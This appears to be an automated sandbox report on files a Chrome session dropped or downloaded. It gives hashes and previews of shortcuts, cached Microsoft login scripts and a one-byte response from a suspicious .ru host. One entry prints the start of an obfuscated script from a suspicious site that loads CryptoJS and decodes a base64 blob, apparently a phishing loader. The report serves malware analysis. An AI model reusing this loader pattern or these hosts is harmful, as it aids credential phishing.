SHA-512:	3DFFE19068EBE2E0F21B87ABE941D0D88013EC63E37D70DB9E71B6959B4897D351598397C0D7910A5C60A8EE800A452BF8CC0209D30DE9AD586A1BACB5C66886
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....`Q.Fb..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 02:28:31 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.998047355740454
Encrypted:	false
SSDEEP:	48:858dLTTn3HZcidAKZdA1weh/iZUkAQkqehFtfy+2:85IPa9QSfy
MD5:	6AEA2A09702CFECBED3A61EA0F9CB807
SHA1:	250CD6097ACB4C216AE1E632A692C0FDC58DAB3F
SHA-256:	88A31614BBFD0750BEBBAF947E5675334AD96CD84101881EE023A20F285731F8
SHA-512:	C171D03CCB07939A0BE168263770EDA0B98DA679D5316221458B9E2DA837EF63775E799E77C11F4A57E38434BEBDC20AE54E04F6E4C02FDA788631AE2A62807F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....I.B.Fb..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.012487930870745
Encrypted:	false
SSDEEP:	48:8xAdLTTnsHZcidAKZdA14tseh7sFiZUkmgqeh7s7tfy+BX:8x0PHnbfy
MD5:	2467963B17EB830E58FD5E99284217C5
SHA1:	C313F88FBBD9072AF4BA450F67C4AA28E0934167
SHA-256:	91B0E6A50A5D22CCA37A68498B3B330551354B25378E527F3D1B148EE5FAA0B6
SHA-512:	5098D2EA2CFC8053D2A3615230EA0406BD208D45F6E9B45510043C2D97057E3AA1F676C9112D734DAAC3C6B29D13E801D654B0F8D2C1AB786AF45D3DAB5910F4
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 02:28:31 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9986096147915933
Encrypted:	false
SSDEEP:	48:8+dLTTn3HZcidAKZdA1vehDiZUkwqehJtfy+R:82PBRfy
MD5:	E43CBD826EFC50E4B7AB9A6ABB892574
SHA1:	36F62883C9B7D53349BB4F9604FA0DDBDC837E31
SHA-256:	F363903A5C75AB7212623CC79C9E6609D54B7249A1CD9D3BD1BAB6E8BFB614B4
SHA-512:	9E0CAF062782B19419976B13C3A10E566846E5926F21DFCA09F993952268D2A25E7DC1F2DF5E2069D3160449C243A602F127A459BCDB36098918BDB4B2779E89
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....;.Fb..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 02:28:31 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9858289677634056
Encrypted:	false
SSDEEP:	48:8NdLTTn3HZcidAKZdA1hehBiZUk1W1qehHtfy+C:8LPB9tfy
MD5:	4C4692A08022553408301CBE075B8519
SHA1:	AD3BE94F59597A69DBA81DAA2BE443F8D60A812A
SHA-256:	7104212FA0767997AA4FFCA4DDF946D1ADFC7344D772B4A36C43D3C6787DDF16
SHA-512:	12A257E74AB05F57A5B497A94DD725D8E1A532F635A79F208FA7137C2F91A4F7F2AFD28C317C0BD65367B397658349F1CE6B33A5CB7A9D5B35C2F4416F54665A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....7I.Fb..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jan 9 02:28:31 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.996204432775278
Encrypted:	false
SSDEEP:	48:8edLTTn3HZcidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbxtfy+yT+:8WP9T/TbxWOvTbbfy7T
MD5:	D3529DDC020307087CB9EE567CD53B58
SHA1:	2EAAE4B62EEC94B828CE28D8FDD57687DBCDA24A
SHA-256:	FD451438EACACDC1587C2350AF17354BFD7B68DB5D178C85CB9FBA22500A1EC0
SHA-512:	946A3B631B35885C6F844F63F8BABF71032AD1295167F964705AE8F61B510E20F6BADC51EB4DB410B825095A13531546D13F7356A24BDE6B2067AB6BD53E3CD2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....62.Fb..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I)Z......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V)Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V)Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V)Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	dropped
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1349), with CRLF line terminators
Category:	downloaded
Size (bytes):	1987
Entropy (8bit):	5.9664024613069095
Encrypted:	false
SSDEEP:	48:s7bI2XJ+cYM1t3NHpo0EQ5xnaqFcisX+Rkg0+gYuIcZl2ZZZkTZ2:s9Z+cz1HWcx0iSQkyLuICOPkF2
MD5:	15D8850CAC55D440FF1C93866EBFEB20
SHA1:	C65E047F6CC2BEEB03DABB277F2A3A9B539C817C
SHA-256:	049310FEB8047A4E329B15268E661BADAFEACD7CD6488E3DD3541A0ED346321F
SHA-512:	C98D3D3FE201AB38C766DA4C6C35B9651EA50D7CE936F4093883FFAA62618FC27870DEDD6C278DE859CC33CCC5CBAA1DCBF44A7AC5150FAC290E3A8DAF51E8AA
Malicious:	false
URL:	https://ecohomethings.net/res444.php?2-68747470733a2f2f636369712e6162736f757369756d2e72752f6f3562384458412f-beech
Preview:	var cxneJfndSqOclEby = document.createElement("script");..cxneJfndSqOclEby.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(cxneJfndSqOclEby);..cxneJfndSqOclEby.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiUWNOR0EzWmszbjN0MGZZTDRCc1hjUVFJcWVWbkVxZmMrbUJUNkd4SkhHblFGREJHYjlidmIySjdiVmxENTdFYTJSMXpSOEc4R3JDT2t0UkhYcXJYZlZUZkwxY05EWWJYOUJtK2d1aytXMUg1ZEtrVlVsWm9QQ2lkVmNSOTBmQTBwZ2lFTFlaaDlaUE94Zk1vNXJjRWRvaFwvbVUwUVpmOU9QT2VhRkhhZDdzdkNwRm50cUlZSDhEQ0lpY05hWkh1UjRTRVpWVUtMSmFhcTV2SCtQaDl1V3YzU1o0UVFieUdjOWFnN2tWS1hWOXRHZjB3VFwvMVFFaUtqWDdsYUdsV2pROVFsMHBtT0FVQWR4QzBVbmk0MzVlTEN1YWZCYmpJXC91NGRNbm5YZUdPQXc2OXdDeHozM3dKZFUwbGtERkx1d2FHenBndG53V1IrVVwvdlB1cWVCMUMxdTVvcDhvaXR2SmhSd2JVUTgrUkMzOUZXSHpPYitcL2RrVXUrN2NHWit4NkRrUEtGTTFNaHpoNjRFaVwvalFGdHBoamdjdGpRRUNWMUpWTTJ6bWc2WXFnb2hRa1B1dUNzRUtwXC85RkdHMWVQQU9tSFZrbGpDYUxLbGtpRDQxcDRCRWUzZ1hjejF5TWN0WnJ1QTdjXC9lRkxjSUo1TkpCN3k5RXlwaGs2NWdaYkZITkFMRmU2R1pXZD

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
URL:	https://ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru/2537246819628557574OlqyeVTOPFSYTEZKKDXQDVHNSHXAHYFF
Preview:	1

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116343
